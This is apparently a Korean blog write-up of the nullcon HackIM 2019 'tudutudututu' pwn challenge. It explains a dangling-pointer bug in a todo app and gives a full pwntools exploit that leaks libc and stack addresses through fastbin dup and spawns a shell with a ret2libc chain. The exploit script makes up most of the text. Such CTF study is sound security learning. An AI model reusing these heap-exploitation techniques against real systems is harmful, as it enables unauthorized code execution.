nullcon hackim 2019 tudutudututu
일단 todo의 구조는 위와 같다.
처음 만들 때 name의 공간을 strdup
으로 할당하며
나중에 desc를 쓸 때 malloc
으로 desc의 공간을 할당한다.
desc를 쓰는 함수의 윗부분이다.
처음에 이미 할당한 desc가 존재하면 free
를 시킨다.
근데 여기서 length
가 0xFF
이상이라면 "Too big!"
을 출력하고 return한다.
원래 루틴이라면 free
후 malloc
을 하여 다시 todo + 8
에 저장시켜줘야 하지만 length
가 0xFF
이상이라면 그러지 않는다.
dangling pointer
상황이 발생한다.
이를 이용하여 모든 exploit
을 진행할 수 있다.
print_todo 함수에서 name과 desc를 출력해 준다.
즉, desc를 unsortedbin
으로 free
시키면 main_arena+88
의 주소를 leak할 수 있다.
또, delete 함수에서는 todo, name, desc 세 개를 free
시켜준다. 이를 이용하여 fastbin dup
을 일으키면 정말 귀찮을 것 같아서 desc 함수의 dangling pointer
를 이용하여 fastbin dup chain
을 만들었다.
위와 같이 0x20
의 fastbin
을 제외하고 깔끔하게!
그래서 여차저차 leak을 하고 fastbin dup
을 통해 malloc_hook
을 oneshot
으로 바꿔 exploit을 해보면 서버의 libc
로 쉘이 따이지 않는다.
때문에 oneshot
가젯을 사용하지 않고 fastbin dup
을 두 번 트리거한 후 stack
을 leak
하여 스택 근처 0x40의 값이 있는 곳(canary와 ret 사이)으로 할당을 받아 RTL
로 풀었다.
깔끔하게 익스 진행하려고 많이 노력했는데 중간중간에 bin
이 계속 꼬여서 삽질을 정말 많이 했네요..
xxxxxxxxxx
from pwn import *
e = ELF('./tudutudututu')
#s = connect('pwn.ctf.nullcon.net', 4003)
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def menu(sel):
ru('> ')
sl(sel)
def create(topic):
menu('1')
ru('topic: ')
sl(topic)
def desc(topic, length, desc):
menu('2')
ru('topic: ')
sl(topic)
ru('length: ')
sl(length)
if int(length) > 0xFF:
return
else:
ru('Desc: ')
sl(desc)
def delete(topic):
menu('3')
ru('topic: ')
sl(topic)
def print_todo():
menu('4')
create('t1')
desc('t1', '128', '')
create('t2')
desc('t1', '256', '')
print_todo()
ru('- ')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x3c4b78
print('libc_base!: {}'.format(hex(libc_base)))
binsh = libc_base + 0x18cd57
print('binsh!: {}'.format(hex(binsh)))
m_hook = libc_base + 0x3c4aed
one_list = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = libc_base + one_list[3]
system = libc_base + l.symbols['system']
desc('t2', '128', '')
create('t3')
create('t4')
desc('t3', str(0x10), '')
desc('t4', str(0x10), '')
create('t5')
create('t6')
create('t7')
create('t8')
desc('t3', '256', '')
desc('t4', '256', '')
desc('t3', '256', '')
print_todo()
ru('t3 - ')
leak = u32(s.recv(4).ljust(4,'\x00')) - 0xa0
print('leak!: {}'.format(hex(leak)))
desc('t5', str(0x10), p64(leak))
desc('t6', str(0x10), p64(0))
desc('t7', str(0x10), p64(0))
desc('t8', str(0x10), p64(binsh) + p64(libc_base+l.symbols['environ']))
print_todo()
ru('/bin/sh - ')
environ = u64(s.recv(6).ljust(8, '\x00'))
print('environ!: {}'.format(hex(environ)))
desc('t6', str(0x30), '')
desc('t7', str(0x30), '')
desc('t6', '256', '')
desc('t7', '256', '')
desc('t6', '256', '')
desc('t1', str(0x30), p64(environ-0x106))
delete('t3')
delete('t4')
delete('t5')
pop_rdi = 0x400f93
create('A'*0x30)
create('A'*0x30)
pay = "A"*6 + p64(pop_rdi) + p64(binsh) + p64(system)
desc('A'*0x30, str(0x30), pay)
sl('5')
io()
'system > writeup' 카테고리의 다른 글
2014 31c3 mynx (0) | 2019.02.04 |
---|---|
nullcon hackim 2019 easy-shell (0) | 2019.02.03 |
nullcon hackim 2019 babypwn (0) | 2019.02.03 |
nullcon hackim 2019 hackim shop (2) | 2019.02.03 |
2016 bctf memo (0) | 2019.02.02 |